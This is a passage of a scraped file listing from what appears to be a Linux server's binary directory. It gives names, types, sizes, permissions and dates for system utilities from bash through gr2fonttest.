2023-04-01 08:44:39
bash
application/x-pie-executable
1.1 MB
-rwxr-xr-x
2025-08-26 08:48:39
bashbug
text/x-shellscript
7.18 KB
-rwxr-xr-x
2025-08-26 08:48:31
bashbug-64
text/x-shellscript
7.18 KB
-rwxr-xr-x
2025-08-26 08:48:31
batch
text/x-shellscript
137 B
-rwxr-xr-x
2022-10-10 10:23:17
bc
application/x-pie-executable
94.98 KB
-rwxr-xr-x
2019-10-12 12:34:38
bcomps
application/x-pie-executable
20.62 KB
-rwxr-xr-x
2024-04-06 12:47:15
bdftopcf
application/x-pie-executable
45.4 KB
-rwxr-xr-x
2021-10-09 11:42:47
bg
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
bind9-config
text/x-shellscript
3.33 KB
-rwxr-xr-x
2025-11-06 07:45:46
bison
application/x-pie-executable
437.72 KB
-rwxr-xr-x
2019-10-12 12:28:39
bond2team
text/x-shellscript
22.74 KB
-rwxr-xr-x
2020-07-26 09:58:14
bootctl
application/x-pie-executable
45.15 KB
-rwxr-xr-x
2025-11-05 09:26:53
brotli
application/x-pie-executable
739.2 KB
-rwxr-xr-x
2021-04-08 09:00:44
bunzip2
application/x-pie-executable
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
busctl
application/x-pie-executable
77.26 KB
-rwxr-xr-x
2025-11-05 09:26:53
bzcat
application/x-pie-executable
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzcmp
text/x-shellscript
2.08 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzdiff
text/x-shellscript
2.08 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzegrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzfgrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzgrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzip2
application/x-pie-executable
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzip2recover
application/x-pie-executable
16.44 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzless
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzmore
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-01-28 01:38:58
c++
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
c++filt
application/x-pie-executable
28.89 KB
-rwxr-xr-x
2025-10-07 06:44:04
c89
text/x-shellscript
224 B
-rwxr-xr-x
2025-08-26 09:45:19
c99
text/x-shellscript
215 B
-rwxr-xr-x
2025-08-26 09:45:19
ca-legacy
text/x-shellscript
1.61 KB
-rwxr-xr-x
2025-10-30 02:25:49
cairo-sphinx
application/x-pie-executable
69.71 KB
-rwxr-xr-x
2022-04-18 04:06:31
cal
application/x-pie-executable
65.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
captoinfo
application/x-pie-executable
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
cat
application/x-pie-executable
37.54 KB
-rwxr-xr-x
2023-04-01 08:44:39
catchsegv
text/x-shellscript
3.21 KB
-rwxr-xr-x
2025-12-08 09:36:48
catman
application/x-pie-executable
41.45 KB
-rwxr-xr-x
2021-10-08 01:04:46
cc
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
ccomps
application/x-pie-executable
24.72 KB
-rwxr-xr-x
2024-04-06 12:47:15
cd
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
centrino-decode
application/x-pie-executable
11.27 KB
-rwxr-xr-x
2025-12-08 09:08:32
certutil
application/x-pie-executable
199.15 KB
-rwxr-xr-x
2025-09-09 01:57:06
chacl
application/x-pie-executable
16.36 KB
-rwxr-xr-x
2024-04-06 12:15:42
chage
application/x-pie-executable
77.68 KB
-rwsr-xr-x
2024-04-06 02:00:13
chattr
application/x-pie-executable
16.41 KB
-rwxr-xr-x
2025-10-07 07:08:06
chcon
application/x-pie-executable
70.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
chfn
32.89 KB
-rws--x--x
2024-04-06 01:02:53
chgrp
application/x-pie-executable
66.35 KB
-rwxr-xr-x
2023-04-01 08:44:39
chmem
application/x-pie-executable
45.47 KB
-rwxr-xr-x
2024-04-06 01:02:53
chmod
application/x-pie-executable
62.29 KB
-rwxr-xr-x
2023-04-01 08:44:39
chown
application/x-pie-executable
70.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
chronyc
application/x-pie-executable
127.6 KB
-rwxr-xr-x
2024-11-05 07:47:21
chrt
application/x-pie-executable
37.18 KB
-rwxr-xr-x
2024-04-06 01:02:53
chsh
24.71 KB
-rwx--x--x
2024-04-06 01:02:53
chvt
application/x-pie-executable
12.53 KB
-rwxr-xr-x
2023-10-14 09:01:01
cifsiostat
application/x-pie-executable
41.35 KB
-rwxr-xr-x
2024-07-03 09:57:26
circo
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
cksum
application/x-pie-executable
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
cl-linksafe-reconfigure
text/x-shellscript
4.83 KB
-rwxr-xr-x
2021-07-04 09:39:09
clear
application/x-pie-executable
12.54 KB
-rwxr-xr-x
2023-10-14 06:54:49
cluster
application/x-pie-executable
518.33 KB
-rwxr-xr-x
2024-04-06 12:47:16
clusterdb
application/x-pie-executable
70.23 KB
-rwxr-xr-x
2024-02-27 08:25:00
cmp
application/x-pie-executable
103.76 KB
-rwxr-xr-x
2020-05-04 03:15:14
cmsutil
application/x-pie-executable
122.48 KB
-rwxr-xr-x
2025-09-09 01:57:06
col
application/x-pie-executable
29 KB
-rwxr-xr-x
2024-04-06 01:02:53
colcrt
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2024-04-06 01:02:53
colrm
application/x-pie-executable
24.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
column
application/x-pie-executable
49.47 KB
-rwxr-xr-x
2024-04-06 01:02:53
comm
application/x-pie-executable
41.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
command
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
compare
application/x-pie-executable
11.85 KB
-rwxr-xr-x
2025-04-01 01:15:58
compile_et
text/x-shellscript
1.31 KB
-rwxr-xr-x
2025-10-07 07:07:55
composite
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
config_data
text/x-perl
6.97 KB
-rwxr-xr-x
2019-10-13 10:59:01
conjure
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
convert
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
coredumpctl
application/x-pie-executable
44.91 KB
-rwxr-xr-x
2025-11-05 09:26:53
corelist
text/x-perl
14.64 KB
-rwxr-xr-x
2019-10-13 11:00:26
cp
application/x-pie-executable
148.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
cpan
text/x-perl
8.17 KB
-rwxr-xr-x
2025-06-03 02:32:21
cpan-mirrors
text/x-perl
4.19 KB
-rwxr-xr-x
2025-06-03 02:32:21
cpapi1
application/x-executable
3.33 MB
-rwxr-xr-x
2025-12-11 10:57:17
cpapi2
application/x-executable
3.33 MB
-rwxr-xr-x
2025-12-11 10:57:17
cpapi3
application/x-executable
3.33 MB
-rwxr-xr-x
2025-12-11 10:57:17
cpio
application/x-pie-executable
159.8 KB
-rwxr-xr-x
2022-04-18 05:19:04
cpp
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:25
cpupower
application/x-pie-executable
66.91 KB
-rwxr-xr-x
2025-12-08 09:07:09
crb
text/x-shellscript
2.58 KB
-rwxr--r--
2025-04-22 05:22:20
crc32
text/x-perl
1.02 KB
-rwxr-xr-x
2019-11-12 06:41:42
createdb
application/x-pie-executable
70.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
createuser
application/x-pie-executable
74.63 KB
-rwxr-xr-x
2024-02-27 08:25:00
crlutil
application/x-pie-executable
134.95 KB
-rwxr-xr-x
2025-09-09 01:57:06
cronnext
application/x-pie-executable
49.8 KB
-rwxr-xr-x
2024-04-06 11:40:05
crontab
application/x-pie-executable
61.67 KB
-rwsr-xr-x
2024-04-06 11:40:05
csplit
application/x-pie-executable
53.76 KB
-rwxr-xr-x
2023-04-01 08:44:39
csslint-0.6
application/x-pie-executable
24.56 KB
-rwxr-xr-x
2020-09-22 09:07:00
curl
application/x-pie-executable
230.08 KB
-rwxr-xr-x
2025-10-07 06:37:37
cut
application/x-pie-executable
49.59 KB
-rwxr-xr-x
2023-04-01 08:44:39
cvtsudoers
application/x-pie-executable
284.21 KB
-rwxr-xr-x
2025-08-26 09:02:52
cxpm
application/x-pie-executable
29.11 KB
-rwxr-xr-x
2024-03-30 01:53:16
date
application/x-pie-executable
106.03 KB
-rwxr-xr-x
2023-04-01 08:44:39
db_archive
application/x-pie-executable
12.45 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_checkpoint
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_deadlock
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_dump
application/x-pie-executable
16.51 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_dump185
application/x-pie-executable
69.55 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_hotbackup
application/x-pie-executable
20.49 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_load
application/x-pie-executable
28.61 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_log_verify
application/x-pie-executable
16.52 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_printlog
application/x-pie-executable
33.4 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_recover
application/x-pie-executable
16.51 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_replicate
application/x-pie-executable
16.49 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_stat
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_tuner
application/x-pie-executable
24.55 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_upgrade
application/x-pie-executable
12.45 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_verify
application/x-pie-executable
16.46 KB
-rwxr-xr-x
2021-09-21 04:38:10
dbilogstrip
text/x-perl
1.35 KB
-rwxr-xr-x
2022-04-25 04:10:04
dbiprof
text/x-perl
6.06 KB
-rwxr-xr-x
2022-04-25 04:10:04
dbus-binding-tool
application/x-pie-executable
110.43 KB
-rwxr-xr-x
2019-10-25 12:53:05
dbus-cleanup-sockets
application/x-pie-executable
16.39 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-daemon
application/x-pie-executable
239.72 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-monitor
application/x-pie-executable
28.58 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-run-session
application/x-pie-executable
15.88 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-send
application/x-pie-executable
28.54 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-test-tool
application/x-pie-executable
24.6 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-update-activation-environment
application/x-pie-executable
16.41 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-uuidgen
application/x-pie-executable
12.38 KB
-rwxr-xr-x
2025-08-26 11:23:03
dc
application/x-pie-executable
53.02 KB
-rwxr-xr-x
2019-10-12 12:34:38
dd
application/x-pie-executable
78.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
deallocvt
application/x-pie-executable
12.54 KB
-rwxr-xr-x
2023-10-14 09:01:01
debuginfo-install
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
debuginfod-find
application/x-pie-executable
16.47 KB
-rwxr-xr-x
2025-08-25 12:56:12
delv
application/x-pie-executable
42.46 KB
-rwxr-xr-x
2025-11-06 07:45:52
df
application/x-pie-executable
91.16 KB
-rwxr-xr-x
2023-04-01 08:44:39
diff
application/x-pie-executable
268.01 KB
-rwxr-xr-x
2020-05-04 03:15:14
diff3
application/x-pie-executable
128.6 KB
-rwxr-xr-x
2020-05-04 03:15:14
diffimg
application/x-pie-executable
12.27 KB
-rwxr-xr-x
2024-04-06 12:47:16
dig
application/x-pie-executable
162.18 KB
-rwxr-xr-x
2025-11-06 07:45:52
dijkstra
application/x-pie-executable
16.71 KB
-rwxr-xr-x
2024-04-06 12:47:16
dir
application/x-pie-executable
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
dircolors
application/x-pie-executable
49.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
dirmngr
application/x-pie-executable
580.16 KB
-rwxr-xr-x
2022-09-13 10:15:05
dirmngr-client
application/x-pie-executable
120.12 KB
-rwxr-xr-x
2022-09-13 10:15:05
dirname
application/x-pie-executable
33.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
display
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
dltest
application/x-pie-executable
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
dmesg
application/x-pie-executable
77.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
dnf
text/plain
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
dnf-3
text/plain
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
dnsdomainname
application/x-pie-executable
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
dnstap-read
application/x-pie-executable
20.43 KB
-rwxr-xr-x
2025-11-06 07:45:52
domainname
application/x-pie-executable
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
dot
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
dot2gxl
application/x-pie-executable
41.3 KB
-rwxr-xr-x
2024-04-06 12:47:15
dotty
text/x-shellscript
2.04 KB
-rwxr-xr-x
2024-04-06 12:47:07
doveadm
application/x-pie-executable
946.91 KB
-rwxr-xr-x
2025-11-04 08:58:52
doveconf
application/x-pie-executable
383.93 KB
-rwxr-xr-x
2025-11-04 08:58:52
dovecot-sysreport
text/x-shellscript
5.81 KB
-rwxr-xr-x
2025-11-04 08:54:21
dpkg
application/x-pie-executable
316.17 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-deb
application/x-pie-executable
165.5 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-divert
application/x-pie-executable
157.75 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-maintscript-helper
text/x-shellscript
20.67 KB
-rwxr-xr-x
2021-12-15 12:46:10
dpkg-query
application/x-pie-executable
165.84 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-realpath
text/x-shellscript
4.05 KB
-rwxr-xr-x
2021-12-15 12:46:10
dpkg-split
application/x-pie-executable
132.39 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-statoverride
application/x-pie-executable
66.41 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-trigger
application/x-pie-executable
87.66 KB
-rwxr-xr-x
2021-12-15 12:46:22
dracut
text/x-shellscript
67.56 KB
-rwxr-xr-x
2025-07-15 09:09:28
dropdb
application/x-pie-executable
66.02 KB
-rwxr-xr-x
2024-02-27 08:25:00
dropuser
application/x-pie-executable
65.99 KB
-rwxr-xr-x
2024-02-27 08:25:00
dtrace
text/plain
17.39 KB
-rwxr-xr-x
2023-10-14 01:06:45
du
application/x-pie-executable
107.1 KB
-rwxr-xr-x
2023-04-01 08:44:39
dumpkeys
application/x-pie-executable
169.88 KB
-rwxr-xr-x
2023-10-14 09:01:01
dumpsexp
application/x-pie-executable
16.43 KB
-rwxr-xr-x
2022-06-28 11:54:07
dwp
application/x-pie-executable
2.13 MB
-rwxr-xr-x
2025-10-07 06:44:04
dwz
application/x-pie-executable
167.64 KB
-rwxr-xr-x
2021-10-09 03:26:08
ea-php72
application/x-executable
5.49 MB
-rwxr-xr-x
2025-12-08 04:20:59
ea-php72-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-12-08 05:22:41
ea-php72-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-12-08 05:22:41
ea-php73
application/x-executable
5.32 MB
-rwxr-xr-x
2025-12-08 04:59:53
ea-php73-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-12-08 05:43:16
ea-php73-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-12-08 05:43:16
ea-php74
application/x-executable
6.09 MB
-rwxr-xr-x
2025-12-08 04:07:26
ea-php74-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-12-08 04:59:54
ea-php74-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-12-08 04:59:54
ea-php80
application/x-executable
7.61 MB
-rwxr-xr-x
2025-11-12 09:22:27
ea-php80-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-11-25 08:33:58
ea-php80-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-11-25 08:33:58
ea-php81
application/x-executable
7.72 MB
-rwxr-xr-x
2025-11-13 10:13:31
ea-php81-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-11-25 08:35:47
ea-php81-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-11-25 08:35:47
ea-php82
application/x-executable
7.77 MB
-rwxr-xr-x
2025-11-13 10:14:21
ea-php82-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-11-25 08:36:06
ea-php82-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-11-25 08:36:06
ea-php83
application/x-executable
7.8 MB
-rwxr-xr-x
2025-12-02 07:56:28
ea-php83-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-12-02 07:58:16
ea-php83-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-12-02 07:58:16
ea-wappspector
text/x-shellscript
100 B
-rwxr-xr-x
2025-10-29 07:57:18
easy_install-2
text/x-script.python
234 B
-rwxr-xr-x
2024-04-10 05:04:00
easy_install-2.7
text/x-script.python
234 B
-rwxr-xr-x
2024-04-10 05:04:00
easy_install-3
text/plain
246 B
-rwxr-xr-x
2025-07-15 09:13:40
easy_install-3.6
text/plain
246 B
-rwxr-xr-x
2025-07-15 09:13:40
echo
application/x-pie-executable
37.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
edgepaint
application/x-pie-executable
420.79 KB
-rwxr-xr-x
2024-04-06 12:47:16
egrep
text/x-shellscript
28 B
-rwxr-xr-x
2019-10-11 03:15:56
eject
application/x-pie-executable
57.78 KB
-rwxr-xr-x
2024-04-06 01:02:53
elfedit
application/x-pie-executable
33.29 KB
-rwxr-xr-x
2025-10-07 06:44:04
enc2xs
text/x-perl
40.97 KB
-rwxr-xr-x
2019-10-13 08:46:10
encguess
text/x-perl
2.91 KB
-rwxr-xr-x
2019-10-13 08:46:10
enchant-2
application/x-pie-executable
20.25 KB
-rwxr-xr-x
2021-04-08 10:42:35
enchant-lsmod-2
application/x-pie-executable
12.35 KB
-rwxr-xr-x
2021-04-08 10:42:35
env
application/x-pie-executable
41.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
envml
text/x-shellscript
4.1 KB
-rwxr-xr-x
2023-10-14 06:46:13
envsubst
application/x-pie-executable
48.99 KB
-rwxr-xr-x
2019-11-18 05:17:29
eps2eps
text/x-shellscript
639 B
-rwxr-xr-x
2025-06-03 02:48:11
eqn
application/x-pie-executable
232.16 KB
-rwxr-xr-x
2019-10-13 02:29:41
event_rpcgen.py
text/plain
54.26 KB
-rwxr-xr-x
2019-10-12 12:29:31
evmctl
application/x-pie-executable
62.54 KB
-rwxr-xr-x
2021-04-08 03:44:17
ex
application/x-pie-executable
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
expand
application/x-pie-executable
41.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
expr
application/x-pie-executable
49.65 KB
-rwxr-xr-x
2023-04-01 08:44:39
factor
application/x-pie-executable
86.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
fallocate
application/x-pie-executable
28.96 KB
-rwxr-xr-x
2024-04-06 01:02:53
false
application/x-pie-executable
33.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
fc
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
fc-cache
text/x-shellscript
132 B
-rwxr-xr-x
2021-08-16 11:04:22
fc-cache-64
application/x-pie-executable
20.35 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-cat
application/x-pie-executable
16.35 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-conflist
application/x-pie-executable
12.25 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-list
application/x-pie-executable
12.25 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-match
application/x-pie-executable
16.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-pattern
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-query
application/x-pie-executable
12.24 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-scan
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-validate
application/x-pie-executable
16.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fdp
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
fg
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
fgconsole
application/x-pie-executable
12.55 KB
-rwxr-xr-x
2023-10-14 09:01:01
fgrep
text/x-shellscript
28 B
-rwxr-xr-x
2019-10-11 03:15:56
filan
application/x-pie-executable
94.72 KB
-rwxr-xr-x
2025-07-15 09:33:30
file
application/x-pie-executable
24.69 KB
-rwxr-xr-x
2025-10-07 06:30:49
fincore
application/x-pie-executable
33.03 KB
-rwxr-xr-x
2024-04-06 01:02:53
find
application/x-pie-executable
223.3 KB
-rwxr-xr-x
2024-09-24 02:19:34
find-repos-of-install
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
findmnt
application/x-pie-executable
70.6 KB
-rwxr-xr-x
2024-04-06 01:02:53
fips-finish-install
text/x-shellscript
1.29 KB
-rwxr-xr-x
2023-08-01 03:18:06
fips-mode-setup
text/x-shellscript
3.91 KB
-rwxr-xr-x
2023-08-01 03:18:06
firewall-cmd
text/plain
139.6 KB
-rwxr-xr-x
2025-03-11 09:51:09
firewall-offline-cmd
text/plain
120.73 KB
-rwxr-xr-x
2025-03-11 09:51:09
flex
application/x-pie-executable
428.45 KB
-rwxr-xr-x
2019-10-12 12:33:17
flex++
application/x-pie-executable
428.45 KB
-rwxr-xr-x
2019-10-12 12:33:17
flock
application/x-pie-executable
33.2 KB
-rwxr-xr-x
2024-04-06 01:02:53
fmt
application/x-pie-executable
45.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
fold
application/x-pie-executable
41.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
fonttosfnt
application/x-pie-executable
41.18 KB
-rwxr-xr-x
2021-10-09 11:42:47
free
application/x-pie-executable
20.79 KB
-rwxr-xr-x
2023-10-14 08:31:02
freetype-config
text/x-shellscript
4.31 KB
-rwxr-xr-x
2025-03-31 07:37:30
fribidi
application/x-pie-executable
21.14 KB
-rwxr-xr-x
2022-10-08 11:16:47
ftp
application/x-pie-executable
101.2 KB
-rwxr-xr-x
2019-10-12 12:59:55
funzip
application/x-pie-executable
36.63 KB
-rwxr-xr-x
2025-06-03 02:10:12
g++
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
g13
application/x-pie-executable
212.02 KB
-rwxr-xr-x
2022-09-13 10:15:05
galera_new_cluster
text/x-shellscript
917 B
-rwxr-xr-x
2025-10-25 05:42:16
galera_recovery
text/x-shellscript
3.29 KB
-rwxr-xr-x
2025-10-25 05:42:16
gapplication
application/x-pie-executable
20.45 KB
-rwxr-xr-x
2025-11-04 09:14:07
garb-systemd
text/x-shellscript
1.2 KB
-rwxr-xr-x
2025-09-23 04:11:26
garbd
application/x-executable
1.65 MB
-rwxr-xr-x
2025-09-23 04:11:43
gawk
application/x-pie-executable
669.77 KB
-rwxr-xr-x
2022-04-18 03:56:05
gc
application/x-pie-executable
16.64 KB
-rwxr-xr-x
2024-04-06 12:47:16
gcc
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
gcc-ar
application/x-pie-executable
36.66 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcc-nm
application/x-pie-executable
36.66 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcc-ranlib
application/x-pie-executable
36.66 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcov
application/x-pie-executable
1.31 MB
-rwxr-xr-x
2025-08-26 09:47:26
gcov-dump
application/x-pie-executable
570.96 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcov-tool
application/x-pie-executable
607.77 KB
-rwxr-xr-x
2025-08-26 09:47:26
gdbm_dump
application/x-pie-executable
21.05 KB
-rwxr-xr-x
2022-10-08 01:22:08
gdbm_load
application/x-pie-executable
25.31 KB
-rwxr-xr-x
2022-10-08 01:22:08
gdbmtool
application/x-pie-executable
111.57 KB
-rwxr-xr-x
2022-10-08 01:22:08
gdbus
application/x-pie-executable
48.72 KB
-rwxr-xr-x
2025-11-04 09:14:07
gdk-pixbuf-query-loaders-64
application/x-pie-executable
15.93 KB
-rwxr-xr-x
2025-08-07 07:30:09
gdk-pixbuf-thumbnailer
application/x-pie-executable
20.45 KB
-rwxr-xr-x
2025-08-07 07:30:09
gdlib-config
text/x-shellscript
2.79 KB
-rwxr-xr-x
2020-08-29 08:49:15
gencat
application/x-pie-executable
24.84 KB
-rwxr-xr-x
2025-12-08 09:43:19
genl-ctrl-list
application/x-pie-executable
12.04 KB
-rwxr-xr-x
2022-10-08 11:39:40
geqn
application/x-pie-executable
232.16 KB
-rwxr-xr-x
2019-10-13 02:29:41
getconf
application/x-pie-executable
32.46 KB
-rwxr-xr-x
2025-12-08 09:43:19
getent
application/x-pie-executable
33.13 KB
-rwxr-xr-x
2025-12-08 09:43:19
getfacl
application/x-pie-executable
25.38 KB
-rwxr-xr-x
2024-04-06 12:15:42
getkeycodes
application/x-pie-executable
12.54 KB
-rwxr-xr-x
2023-10-14 09:01:01
getopt
application/x-pie-executable
20.52 KB
-rwxr-xr-x
2024-04-06 01:02:53
getopts
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
gettext
application/x-pie-executable
48.97 KB
-rwxr-xr-x
2019-11-18 05:17:29
gettext.sh
text/x-shellscript
4.52 KB
-rwxr-xr-x
2019-11-18 05:16:11
gettextize
text/x-shellscript
42.69 KB
-rwxr-xr-x
2019-11-18 05:16:48
ghostscript
application/x-pie-executable
12.35 KB
-rwxr-xr-x
2025-06-03 02:48:22
gio
application/x-pie-executable
85.22 KB
-rwxr-xr-x
2025-11-04 09:14:07
gio-querymodules-64
application/x-pie-executable
16.3 KB
-rwxr-xr-x
2025-11-04 09:14:07
git
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 09:53:20
git-receive-pack
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 09:53:20
git-shell
application/x-executable
15.79 MB
-rwxr-xr-x
2025-07-09 09:53:20
git-upload-archive
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 09:53:20
git-upload-pack
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 09:53:20
glib-compile-schemas
application/x-pie-executable
48.85 KB
-rwxr-xr-x
2025-11-04 09:14:07
gmake
application/x-pie-executable
235.32 KB
-rwxr-xr-x
2022-04-18 04:38:34
gml2gv
application/x-pie-executable
41.23 KB
-rwxr-xr-x
2024-04-06 12:47:16
gneqn
text/x-shellscript
908 B
-rwxr-xr-x
2019-10-13 02:29:37
gnroff
text/x-shellscript
3.23 KB
-rwxr-xr-x
2019-10-13 02:29:39
gpasswd
application/x-pie-executable
82.16 KB
-rwsr-xr-x
2024-04-06 02:00:13
gpg
application/x-pie-executable
1.04 MB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-agent
application/x-pie-executable
419.29 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-connect-agent
application/x-pie-executable
165.3 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-error
application/x-pie-executable
34.16 KB
-rwxr-xr-x
2019-10-12 12:20:46
gpg-error-config
text/x-shellscript
2.26 KB
-rwxr-xr-x
2019-10-12 12:20:46
gpg-wks-server
application/x-pie-executable
206.69 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-zip
text/x-shellscript
3.44 KB
-rwxr-xr-x
2022-09-13 10:15:00
gpg2
application/x-pie-executable
1.04 MB
-rwxr-xr-x
2022-09-13 10:15:05
gpgconf
application/x-pie-executable
176.09 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgme-json
application/x-pie-executable
85.68 KB
-rwxr-xr-x
2024-04-06 12:29:34
gpgparsemail
application/x-pie-executable
28.74 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgrt-config
text/x-shellscript
2.26 KB
-rwxr-xr-x
2019-10-12 12:20:46
gpgsplit
application/x-pie-executable
87.02 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgv
application/x-pie-executable
451.58 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgv2
application/x-pie-executable
451.58 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpic
application/x-pie-executable
293.84 KB
-rwxr-xr-x
2019-10-13 02:29:41
gpio-event-mon
application/x-pie-executable
14.96 KB
-rwxr-xr-x
2025-12-08 09:08:32
gpio-hammer
application/x-pie-executable
14.96 KB
-rwxr-xr-x
2025-12-08 09:08:32
gprof
application/x-pie-executable
103.35 KB
-rwxr-xr-x
2025-10-07 06:44:04
gr2fonttest
application/x-pie-executable
29.95 KB
-rwxr-xr-x
